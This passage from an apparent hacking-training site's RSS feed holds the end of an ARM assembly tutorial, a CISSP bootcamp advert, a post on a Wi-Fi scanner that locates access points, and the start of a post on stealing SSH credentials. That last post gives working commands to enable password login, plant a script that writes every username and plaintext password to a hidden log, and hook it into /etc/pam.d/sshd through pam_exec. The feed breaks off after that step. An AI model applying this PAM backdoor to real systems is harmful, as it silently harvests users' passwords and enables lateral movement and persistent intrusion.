  589. <p>That’s all for the code. Now we can move on to compilation.</p>
  590.  
  591.  
  592.  
  593. <h2 class="wp-block-heading"><strong>Step #6: Compilation</strong></h2>
  594.  
  595.  
  596.  
  597. <p><strong>raspberrypi&gt; gcc -nostdlib -o hello hello.s</strong></p>
  598.  
  599.  
  600.  
  601. <p>nostdlib prevents linking with the standard C library and startup files.</p>
  602.  
  603.  
  604.  
  605. <p>To check the file format, you can use:</p>
  606.  
  607.  
  608.  
  609. <p><strong>raspberrypi&gt; file hello</strong></p>
  610.  
  611.  
  612.  
  613. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="888" height="113" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_compiling.webp" alt="" class="wp-image-18033" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_compiling.webp 888w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_compiling-300x38.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_compiling-768x98.webp 768w" sizes="(max-width: 888px) 100vw, 888px" /></figure>
  614.  
  615.  
  616.  
  617. <p>It’s a Linux executable. Now we can run the program:</p>
  618.  
  619.  
  620.  
  621. <p><strong>raspberrypi&gt; ./hello</strong></p>
  622.  
  623.  
  624.  
  625. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="144" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_run_program.webp" alt="" class="wp-image-18034" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_run_program.webp 883w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_run_program-300x49.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_run_program-768x125.webp 768w" sizes="(max-width: 883px) 100vw, 883px" /></figure>
  626.  
  627.  
  628.  
  629. <p>You might think that nothing happened, but let’s check the program’s exit code:</p>
  630.  
  631.  
  632.  
  633. <p><strong>raspberrypi&gt; echo $?</strong></p>
  634.  
  635.  
  636.  
  637. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="475" height="88" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_check_exit_code.webp" alt="" class="wp-image-18035" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_check_exit_code.webp 475w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_check_exit_code-300x56.webp 300w" sizes="(max-width: 475px) 100vw, 475px" /></figure>
  638.  
  639.  
  640.  
  641. <p>That’s the value <code>7</code> we passed to the x0 register.</p>
  642.  
  643.  
  644.  
  645. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  646.  
  647.  
  648.  
  649. <p>In this tutorial, we looked at how to write a simple program in ARM Assembly. We set up a 64-bit Raspberry Pi for this task, learned about the mov instruction, and finally explored software interrupt instructions.</p>
  650.  
  651.  
  652.  
  653. <p>ARM Assembly can be a great first step in exploit development—a skill that makes you highly valuable to employers. If you want to dive deeper, consider becoming a <a href="https://hackersarise.thinkific.com/bundles/subscriber-pro" title="">Hackers-Arise Subscriber Pro</a> to get access to our first edition of <a href="https://hackersarise.thinkific.com/courses/exploit-development-part-1" title="">Exploit Development</a>.</p>
  654.  
  655.  
  656.  
  657. <p></p><p>The post <a href="https://hackers-arise.com/arm-assembly-getting-started/">ARM Assembly: Getting Started</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  658. </item>
  659. <item>
  660. <title>It&#8217;s Time to Elevate Your Cybersecurity Game! Earn the Crown Jewel of Cybersecurity Certifications!</title>
  661. <link>https://hackers-arise.com/it-s-time-to-elevate-your-cybersecurity-game-earn-the-crown-jewel-of-cybersecurity-certifications/</link>
  662. <dc:creator><![CDATA[OTW]]></dc:creator>
  663. <pubDate>Fri, 12 Sep 2025 02:16:41 +0000</pubDate>
  664. <category><![CDATA[Cyberwarrior]]></category>
  665. <category><![CDATA[Hacking]]></category>
  666. <category><![CDATA[BOOTCAMP]]></category>
  667. <category><![CDATA[CISSP]]></category>
  668. <category><![CDATA[CyberSecurity]]></category>
  669. <category><![CDATA[cyberwar]]></category>
  670. <category><![CDATA[cyberwarrior]]></category>
  671. <category><![CDATA[HACKING]]></category>
  672. <guid isPermaLink="false">https://hackers-arise.com/?p=14369</guid>
  673.  
  674. <description><![CDATA[<p>The CISSP is widely considered to be the premier cybersecurity certifications. The average salary in the US is almost $150,000 and I&#8217;ll bet your boss has one. If not, their boss is certified with the CISSP. This is your ticket to a rewarding, high-paying career in cybersecurity. A Four-Day boot camp, September 23-26 Now, you [&#8230;]</p>
  675. <p>The post <a href="https://hackers-arise.com/it-s-time-to-elevate-your-cybersecurity-game-earn-the-crown-jewel-of-cybersecurity-certifications/">It’s Time to Elevate Your Cybersecurity Game! Earn the Crown Jewel of Cybersecurity Certifications!</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  676. <content:encoded><![CDATA[<p id="foo">The CISSP is widely considered to be the premier cybersecurity certifications. The average salary in the US is almost $150,000 and I&#8217;ll bet your boss has one. </p>
  677.  
  678.  
  679.  
  680. <p id="vv19q34824">If not, their boss is certified with the CISSP.</p>
  681.  
  682.  
  683.  
  684. <p id="mlsyu412841"><strong>This is your ticket to a rewarding, high-paying career in cybersecurity.</strong></p>
  685.  
  686.  
  687.  
  688. <p id="l3dvk34129"><strong>A Four-Day boot camp, September 23-26</strong></p>
  689.  
  690.  
  691.  
  692. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="999" height="562" src="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Bootcamp-23-26.webp" alt="" class="wp-image-14370" srcset="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Bootcamp-23-26.webp 999w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Bootcamp-23-26-300x169.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Bootcamp-23-26-768x432.webp 768w" sizes="(max-width: 999px) 100vw, 999px" /></figure>
  693.  
  694.  
  695.  
  696. <p id="r1h6n410023">Now, you can go to the head of the class in cybersecurity with this 4-day intensive bootcamp with Master OTW. This class is available to everyone in the Subscriber package or you can buy the individual LIVE class for just $199</p>
  697.  
  698.  
  699.  
  700. <p id="ma9ub410522">Even if you won&#8217;t be taking the exam and earning the certification, this is an excellent class to learn in-depth cybersecurity techniques and technologies used by secure companies from around the world and will help you throughout your long and prosperous career in cybersecurity</p>
  701.  
  702.  
  703.  
  704. <p id="y96y1411316">Take a look what our students have said about our CISSP bootcamps.</p>
  705.  
  706.  
  707.  
  708. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="533" height="333" src="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Testimony.webp" alt="" class="wp-image-14371" srcset="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Testimony.webp 533w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-Testimony-300x187.webp 300w" sizes="(max-width: 533px) 100vw, 533px" /></figure>
  709.  
  710.  
  711.  
  712. <p></p>
  713.  
  714.  
  715.  
  716. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="999" height="171" src="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-2.webp" alt="" class="wp-image-14372" srcset="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-2.webp 999w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-2-300x51.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-2-768x131.webp 768w" sizes="(max-width: 999px) 100vw, 999px" /></figure>
  717.  
  718.  
  719.  
  720. <p></p>
  721.  
  722.  
  723.  
  724. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="739" height="143" src="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-3.webp" alt="" class="wp-image-14373" srcset="https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-3.webp 739w, https://hackers-arise.com/wp-content/uploads/2025/05/CISSP-TESTIMONY-3-300x58.webp 300w" sizes="(max-width: 739px) 100vw, 739px" /></figure>
  725.  
  726.  
  727.  
  728. <p></p>
  729.  
  730.  
  731.  
  732. <p id="qfnk3411704">To join this training, become a<a href="https://hackersarise.thinkific.com/bundles/subscriber" rel="noreferrer noopener" target="_blank"><u> Subscriber at Hackers-Arise</u></a> and get this and over 40 other courses.</p>
  733.  
  734.  
  735.  
  736. <p id="prfey102795">If you just want the CISSP training, you can purchase <a href="https://hackersarise.thinkific.com/courses/CISSP-Bootcamp" rel="noreferrer noopener" target="_blank"><u>the training separately here for just $199.</u></a></p>
  737.  
  738.  
  739.  
  740. <p></p><p>The post <a href="https://hackers-arise.com/it-s-time-to-elevate-your-cybersecurity-game-earn-the-crown-jewel-of-cybersecurity-certifications/">It’s Time to Elevate Your Cybersecurity Game! Earn the Crown Jewel of Cybersecurity Certifications!</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  741. </item>
  742. <item>
  743. <title>Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP&#8217;s</title>
  744. <link>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/</link>
  745. <comments>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/#respond</comments>
  746. <dc:creator><![CDATA[OTW]]></dc:creator>
  747. <pubDate>Thu, 11 Sep 2025 19:36:56 +0000</pubDate>
  748. <category><![CDATA[Python]]></category>
  749. <category><![CDATA[Scripting]]></category>
  750. <category><![CDATA[Wi-Fi Hacking]]></category>
  751. <guid isPermaLink="false">https://hackers-arise.com/?p=16533</guid>
  752.  
  753. <description><![CDATA[<p>Hackers Arise Wi-Fi Radar Welcome back, aspiring cyberwarriors! One of our advanced student who goes by the handle Mike211 has developed a Wi-Fi scanning script that we want to share with all of you. What makes this script different and special is it&#8217;s ability to locate the Wi-Fi access points (AP) in your area. I&#8221;ll [&#8230;]</p>
  754. <p>The post <a href="https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/">Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP’s</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  755. <content:encoded><![CDATA[<h1 class="wp-block-heading">Hackers Arise Wi-Fi Radar </h1>
  756.  
  757.  
  758.  
  759. <p></p>
  760.  
  761.  
  762.  
  763. <h2 class="wp-block-heading">Welcome back, aspiring cyberwarriors!</h2>
  764.  
  765.  
  766.  
  767. <p></p>
  768.  
  769.  
  770.  
  771. <p>One of our advanced student who goes by the handle Mike211 has developed a Wi-Fi scanning script that we want to share with all of you. What makes this script different and special is it&#8217;s ability to locate the Wi-Fi access points (AP) in your area.</p>
  772.  
  773.  
  774.  
  775. <p></p>
  776.  
  777.  
  778.  
  779. <p>I&#8221;ll let him introduce his new tool below!</p>
  780.  
  781.  
  782.  
  783. <p>In the Wi-Fi domain, raw signal strength and MAC identifiers can reveal more than just the presence of networks — they can open a path to estimating physical distance, mapping access points, and even executing wardriving missions or indoor localization without GPS. If you’ve ever wanted to push the boundaries of Wi-Fi auditing beyond mere detection, Hackers Arise Radar is your next-level tool.</p>
  784.  
  785.  
  786.  
  787. <h2 class="wp-block-heading">Why this Tool is Game&nbsp;Changing</h2>
  788.  
  789.  
  790.  
  791. <p>Just like Wigle.net collects crowdsourced location data of APs, this project allows you to discover and map Wi-Fi access points in real-time using only your Linux laptop or USB Wi-Fi adapter.  </p>
  792.  
  793.  
  794.  
  795. <p>With this tool, you’ll get:</p>
  796.  
  797.  
  798.  
  799. <p>&#8211; Continuous scans over 2.4 GHz, 5 GHz, 6 GHz, or all bands<br>&#8211; Fully automated interface setup (monitor mode, regulatory domain, TX power)<br>&#8211; Filtered and smoothed RSSI values with Kalman filtering<br>&#8211; On-demand calibration for RSSI-to-distance<br>&#8211; Spring-model map generation to visualize spatial relationships<br>&#8211; Exportable logs, visuals, and calibration profiles for future use</p>
  800.  
  801.  
  802.  
  803. <p>Whether you&#8217;re driving through a city, walking indoors, or performing a pentest, you can leverage this tool for actionable location data.</p>
  804.  
  805.  
  806.  
  807. <h2 class="wp-block-heading">How it Works – Step by Step</h2>
  808.  
  809.  
  810.  
  811. <p class="has-medium-font-size"><strong>Step #1. Launch &amp; Configuration</strong></p>
  812.  
  813.  
  814.  
  815. <p><br>Start the script:</p>
  816.  
  817.  
  818.  
  819. <p><br>kali > sudo python3 Hackers_Arise_Radar.py</p>
  820.  
  821.  
  822.  
  823. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="579" height="229" src="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation.png" alt="" class="wp-image-16717" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation.png 579w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation-300x119.png 300w" sizes="(max-width: 579px) 100vw, 579px" /></figure>
  824.  
  825.  
  826.  
  827. <p>You’ll be greeted with a colorful terminal interface that guides you through:</p>
  828.  
  829.  
  830.  
  831. <p><br>&#8211; Selecting your Wi-Fi interface<br>&#8211; Choosing the operational environment (indoor, urban, open space)<br>&#8211; Selecting scan band (2.4 GHz / 5 GHz / 6 GHz / All)</p>
  832.  
  833.  
  834.  
  835. <p>No need to manually enable monitor mode – the script automatically puts your adapter into monitor mode, sets the regulatory domain, and adjusts TX power based on your choices.</p>
  836.  
  837.  
  838.  
  839. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="899" height="822" src="https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu.png" alt="" class="wp-image-16720" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu.png 899w, https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu-300x274.png 300w, https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu-768x702.png 768w" sizes="(max-width: 899px) 100vw, 899px" /></figure>
  840.  
  841.  
  842.  
  843. <p class="has-medium-font-size"><strong>Step #2. Real-Time Wi-Fi Scanning</strong></p>
  844.  
  845.  
  846.  
  847. <p><br>The script uses airodump-ng behind the scenes to:<br>&#8211; Continuously scan surrounding Wi-Fi networks<br>&#8211; Record BSSID, SSID, RSSI, channel, frequency band<br>&#8211; Stream live updates through a structured CSV output for parsing and analysis</p>
  848.  
  849.  
  850.  
  851. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="720" height="598" src="https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan.png" alt="" class="wp-image-16718" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan.png 720w, https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan-300x249.png 300w" sizes="(max-width: 720px) 100vw, 720px" /></figure>
  852.  
  853.  
  854.  
  855. <p class="has-medium-font-size"><strong>Step #3. RSSI Filtering &amp; Analytics</strong></p>
  856.  
  857.  
  858.  
  859. <p><br>To reduce RSSI noise, the script implements a Kalman filter This Kalman filter:</p>
  860.  
  861.  
  862.  
  863. <p><br>&#8211; Smooths out transient signal spikes<br>&#8211; Creates a rolling average of RSSI per BSSID<br>&#8211; Improves distance estimation consistency</p>
  864.  
  865.  
  866.  
  867. <p class="has-medium-font-size"><strong>Step #4. Estimating Distance from RSSI</strong></p>
  868.  
  869.  
  870.  
  871. <p><br>The tool calculates the distance using a log-distance path loss model such as:</p>
  872.  
  873.  
  874.  
  875. <p><br>d = 10^((TX_power &#8211; RSSI) / (10 * n))</p>
  876.  
  877.  
  878.  
  879. <p>Where:<br>&#8211; TX_power and path-loss exponent n are customizable or calculated through calibration<br>&#8211; RSSI is dynamically filtered<br>&#8211; Distance is measured in meters</p>
  880.  
  881.  
  882.  
  883. <p class="has-medium-font-size"><strong>Step #5. Calibration Engine</strong></p>
  884.  
  885.  
  886.  
  887. <p><br>The included calibration module lets you:</p>
  888.  
  889.  
  890.  
  891. <p><br>&#8211; Input known RSSI and real-world distances<br>&#8211; Fit an optimized curve per BSSID<br>&#8211; Automatically store TX power, path-loss exponent, and R² fit for reuse<br>&#8211; Flag poorly calibrated networks with suggestions</p>
  892.  
  893.  
  894.  
  895. <p class="has-medium-font-size"><strong>Step #6. Visual Mapping – Spring Model Layout</strong></p>
  896.  
  897.  
  898.  
  899. <p><br>Once enough data is gathered, the tool uses a spring-model algorithm to create a map:<br>&#8211; Nodes (BSSIDs) are arranged based on estimated distances<br>&#8211; Forces push/pull the layout into geometric balance<br>&#8211; Labels show SSIDs, bands, and estimated distance in meters</p>
  900.  
  901.  
  902.  
  903. <p></p>
  904.  
  905.  
  906.  
  907. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="644" src="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map.png" alt="" class="wp-image-16719" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map.png 803w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map-300x241.png 300w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map-768x616.png 768w" sizes="(max-width: 803px) 100vw, 803px" /></figure>
  908.  
  909.  
  910.  
  911. <p class="has-medium-font-size"><strong>Step #7. Regulatory &amp; Power Tuning Mode</strong></p>
  912.  
  913.  
  914.  
  915. <p><br>The tool isn&#8217;t just a scanner — it includes a dedicated utility mode to:</p>
  916.  
  917.  
  918.  
  919. <p><br>&#8211; Set regulatory domain (iw reg set &lt;country_code>)<br>&#8211; Modify TX power (in dBm)<br>&#8211; Retrieve and display current wireless driver info<br>&#8211; Perform diagnostics before scanning</p>
  920.  
  921.  
  922.  
  923. <h2 class="wp-block-heading">Focus Mode: Tracking a Single Access Point</h2>
  924.  
  925.  
  926.  
  927. <p>Sometimes you just need to follow one Wi-Fi target — whether it&#8217;s a rogue device, a signal beacon, or an access point you&#8217;re using for indoor positioning.</p>
  928.  
  929.  
  930.  
  931. <p>Hackers Arise Radar includes a specialized mode for scanning and tracking a single BSSID:</p>
  932.  
  933.  
  934.  
  935. <p><br>&#8211; Select a known access point from your previously scanned list<br>&#8211; The tool locks onto that specific MAC address using:<br>  airodump-ng &#8211;bssid &lt;target> &#8211;channel &lt;ch><br>&#8211; RSSI values are filtered using a Kalman filter<br>&#8211; Distance estimation is updated in real-time using the calibration profile<br>&#8211; Live updates show proximity and confidence</p>
  936.  
  937.  
  938.  
  939. <h2 class="wp-block-heading">Real&nbsp;World Use Cases</h2>
  940.  
  941.  
  942.  
  943. <p>&#8211; Wardriving Missions: Continuous logs while driving<br>&#8211; Indoor Wireless Mapping: Signal-based AP triangulation, spatial layouts<br>&#8211; Security &amp; Pentesting Recon: Detect new/rogue APs, estimate proximity<br>&#8211; Wi-Fi Optimization: Adjust regulatory domain / TX power, evaluate coverage<br>&#8211; Wireless Simulation &amp; Testing: Simulate RSSI data with simulate_rss_matrix.py</p>
  944.  
  945.  
  946.  
  947. <h2 class="wp-block-heading">Requirements &amp; Setup</h2>
  948.  
  949.  
  950.  
  951. <p>&#8211; Platform: Linux (Kali/Debian-based)<br>&#8211; Python: 3.7+<br>&#8211; Privileges: sudo required<br>&#8211; External Tools: aircrack-ng, iw, ip, ethtool<br>&#8211; Python Libraries: numpy, scipy, pandas, matplotlib, adjustText</p>
  952.  
  953.  
  954.  
  955. <p>Launch simply with:</p>
  956.  
  957.  
  958.  
  959. <p><br>kali> sudo python3 Hackers_Arise_Radar.py</p>
  960.  
  961.  
  962.  
  963. <p><br>No need to prep interfaces — the tool handles it all.</p>
  964.  
  965.  
  966.  
  967. <h2 class="wp-block-heading">Summary</h2>
  968.  
  969.  
  970.  
  971. <p>Hackers Arise Radar is more than just a scanner. It is a fully interactive system for Wi-Fi discovery, proximity estimation, map generation, and interface configuration — all controlled through an elegant terminal menu.</p>
  972.  
  973.  
  974.  
  975. <p>Built for hackers, engineers, educators, and hobbyists, this tool empowers you to:<br>&#8211; Visualize your wireless environment<br>&#8211; Optimize TX power and regulatory settings<br>&#8211; Log and export clean data<br>&#8211; Build wireless maps with zero GPS</p>
  976.  
  977.  
  978.  
  979. <p>Start scanning smarter — not harder.</p>
  980.  
  981.  
  982.  
  983. <p></p>
  984.  
  985.  
  986.  
  987. <p>For more information on this unique and powerful scanner, see our Wi-Fi Hacking training.</p>
  988.  
  989.  
  990.  
  991. <p></p><p>The post <a href="https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/">Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP’s</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  992. <wfw:commentRss>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/feed/</wfw:commentRss>
  993. <slash:comments>0</slash:comments>
  994. </item>
  995. <item>
  996. <title>Password Cracking: Stealing SSH Credentials with PAM</title>
  997. <link>https://hackers-arise.com/password-cracking-stealing-ssh-credentials-with-pam/</link>
  998. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  999. <pubDate>Thu, 11 Sep 2025 14:49:14 +0000</pubDate>
  1000. <category><![CDATA[Cyberwar]]></category>
  1001. <category><![CDATA[Cyberwarrior]]></category>
  1002. <category><![CDATA[Linux]]></category>
  1003. <category><![CDATA[Password Cracking]]></category>
  1004. <category><![CDATA[Pentesting]]></category>
  1005. <category><![CDATA[Credential Harvesting]]></category>
  1006. <category><![CDATA[HACKING]]></category>
  1007. <category><![CDATA[lateral movement]]></category>
  1008. <category><![CDATA[linux]]></category>
  1009. <category><![CDATA[offensive security]]></category>
  1010. <category><![CDATA[PAM]]></category>
  1011. <category><![CDATA[persistence]]></category>
  1012. <category><![CDATA[post-exploitation]]></category>
  1013. <category><![CDATA[Red Team]]></category>
  1014. <category><![CDATA[SSH]]></category>
  1015. <guid isPermaLink="false">https://hackers-arise.com/?p=17993</guid>
  1016.  
  1017. <description><![CDATA[<p>Patch PAM on Linux to harvest SSH credentials in real time. By adding a logging script into the authentication chain, every password-based login is silently captured.</p>
  1018. <p>The post <a href="https://hackers-arise.com/password-cracking-stealing-ssh-credentials-with-pam/">Password Cracking: Stealing SSH Credentials with PAM</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1019. <content:encoded><![CDATA[<p>Welcome back, my aspiring cyberwarriors!</p>
  1020.  
  1021.  
  1022.  
  1023. <p>Landing on a Linux machine after exploitation or with freshly harvested credentials often feels like a victory, but in reality, it is only the beginning of the struggle. Lateral movement in Linux environments is notoriously trickier than in Windows domains. Even if you manage to obtain root on one host, you might quickly hit a wall: you see evidence of users connecting to other systems, but you don’t have their credentials. Without those, further expansion stalls. Techniques such as dumping memory or scraping process data might work in some cases, but SSH processes in particular won’t reveal user credentials so easily. At first glance, it feels like a dead end.</p>
  1024.  
  1025.  
  1026.  
  1027. <p>This is where PAM manipulation comes into play. By modifying how the Pluggable Authentication Module handles logins, it becomes possible to quietly capture user credentials whenever they authenticate. This is how you create a systematic way to harvest SSH passwords and reuse them for lateral movement.</p>
  1028.  
  1029.  
  1030.  
  1031. <figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="711" height="157" src="https://hackers-arise.com/wp-content/uploads/2025/09/1-harvsted-credentilas-demonstration.webp" alt="pam patch in action logging credentials" class="wp-image-17994" style="width:750px;height:auto" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/1-harvsted-credentilas-demonstration.webp 711w, https://hackers-arise.com/wp-content/uploads/2025/09/1-harvsted-credentilas-demonstration-300x66.webp 300w" sizes="(max-width: 711px) 100vw, 711px" /></figure>
  1032.  
  1033.  
  1034.  
  1035. <h2 class="wp-block-heading"><strong>Recon with Known Hosts</strong></h2>
  1036.  
  1037.  
  1038.  
  1039. <p>Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a <code>known_hosts</code> file under each user’s <code>.ssh</code> directory. If those files are accessible, they give a list of destinations without the need for noisy scanning.<br>For example, inspecting <code>/home/dev3/.ssh/known_hosts</code> might reveal entries such as <code>git</code>. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.</p>
  1040.  
  1041.  
  1042.  
  1043. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="773" height="118" src="https://hackers-arise.com/wp-content/uploads/2025/09/2-demonstrating-hosts-in-known_hosts.webp" alt="using known_hosts file for lateral movement" class="wp-image-17995" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/2-demonstrating-hosts-in-known_hosts.webp 773w, https://hackers-arise.com/wp-content/uploads/2025/09/2-demonstrating-hosts-in-known_hosts-300x46.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/2-demonstrating-hosts-in-known_hosts-768x117.webp 768w" sizes="(max-width: 773px) 100vw, 773px" /></figure>
  1044.  
  1045.  
  1046.  
  1047. <h2 class="wp-block-heading"><strong>Preparing the Host</strong></h2>
  1048.  
  1049.  
  1050.  
  1051. <p>Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in <code>/etc/ssh/sshd_config</code>:</p>
  1052.  
  1053.  
  1054.  
  1055. <p><code>target# &gt; nano /etc/ssh/sshd_config</code></p>
  1056.  
  1057.  
  1058.  
  1059. <p><code>PasswordAuthentication yes</code></p>
  1060.  
  1061.  
  1062.  
  1063. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="834" height="289" src="https://hackers-arise.com/wp-content/uploads/2025/09/3-enabling-password-authentication.webp" alt="password authentication with ssh enabled" class="wp-image-17996" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/3-enabling-password-authentication.webp 834w, https://hackers-arise.com/wp-content/uploads/2025/09/3-enabling-password-authentication-300x104.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/3-enabling-password-authentication-768x266.webp 768w" sizes="(max-width: 834px) 100vw, 834px" /></figure>
  1064.  
  1065.  
  1066.  
  1067. <p>Once this change is in place, the groundwork is set.</p>
  1068.  
  1069.  
  1070.  
  1071. <h2 class="wp-block-heading"><strong>Creating a Logging Script</strong></h2>
  1072.  
  1073.  
  1074.  
  1075. <p>The next step is creating a small script that will record login attempts. With root privileges, create a new file at <code>/usr/local/bin/logc.sh</code>:</p>
  1076.  
  1077.  
  1078.  
  1079. <p><code>target# &gt; nano /usr/local/bin/logc.sh</code> </p>
  1080.  
  1081.  
  1082.  
  1083. <pre class="wp-block-code"><code>#!/bin/bash
  1084.  
  1085. echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" &gt;&gt; /var/log/.authc.log</code></pre>
  1086.  
  1087.  
  1088.  
  1089. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="164" src="https://hackers-arise.com/wp-content/uploads/2025/09/4-creating-a-logging-script.webp" alt="creating a PAM Patch" class="wp-image-17997" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/4-creating-a-logging-script.webp 970w, https://hackers-arise.com/wp-content/uploads/2025/09/4-creating-a-logging-script-300x51.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/4-creating-a-logging-script-768x130.webp 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>
  1090.  
  1091.  
  1092.  
  1093. <p>Make it executable:</p>
  1094.  
  1095.  
  1096.  
  1097. <p><code>target# &gt; chmod 777 /usr/local/bin/logc.sh</code></p>
  1098.  
  1099.  
  1100.  
  1101. <p>Then prepare the hidden log file that will quietly collect captured data:</p>
  1102.  
  1103.  
  1104.  
  1105. <p><code>target# &gt; touch /var/log/.authc.log</code></p>
  1106.  
  1107.  
  1108.  
  1109. <p>This script is simple yet powerful. It captures the username, the plaintext password, the source of the connection, and timestamps each entry.</p>
  1110.  
  1111.  
  1112.  
  1113. <h2 class="wp-block-heading"><strong>Patching PAM</strong></h2>
  1114.  
  1115.  
  1116.  
  1117. <p>With the logging script in place, the next task is to insert it into the PAM authentication chain. PAM configurations vary slightly between distributions, but for SSH specifically, the relevant file is<strong> </strong><code>/etc/pam.d/sshd</code>. For broader system-wide coverage, other files such as <code>/etc/pam.d/common-auth</code> (Debian/Ubuntu) or <code>/etc/pam.d/password-auth</code> (CentOS) could be patched instead.</p>
  1118.  
  1119.  
  1120.  
  1121. <p>To modify SSH authentication only, open<strong> </strong><code>/etc/pam.d/sshd</code> and add the following line at the very top:</p>
  1122.  
  1123.  
  1124.  
  1125. <p><code>target# &gt; nano /etc/pam.d/sshd</code></p>
  1126.  
  1127.  
  1128.  
  1129. <pre class="wp-block-code"><code><code>auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh</code></code></pre>
  1130.  
  1131.  
  1132.  
  1133. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="994" height="243" src="https://hackers-arise.com/wp-content/uploads/2025/09/5-patching-pam.webp" alt="patching PAM to steal ssh credentials" class="wp-image-17998" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/5-patching-pam.webp 994w, https://hackers-arise.com/wp-content/uploads/2025/09/5-patching-pam-300x73.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/5-patching-pam-768x188.webp 768w" sizes="(max-width: 994px) 100vw, 994px" /></figure>
  1134.  
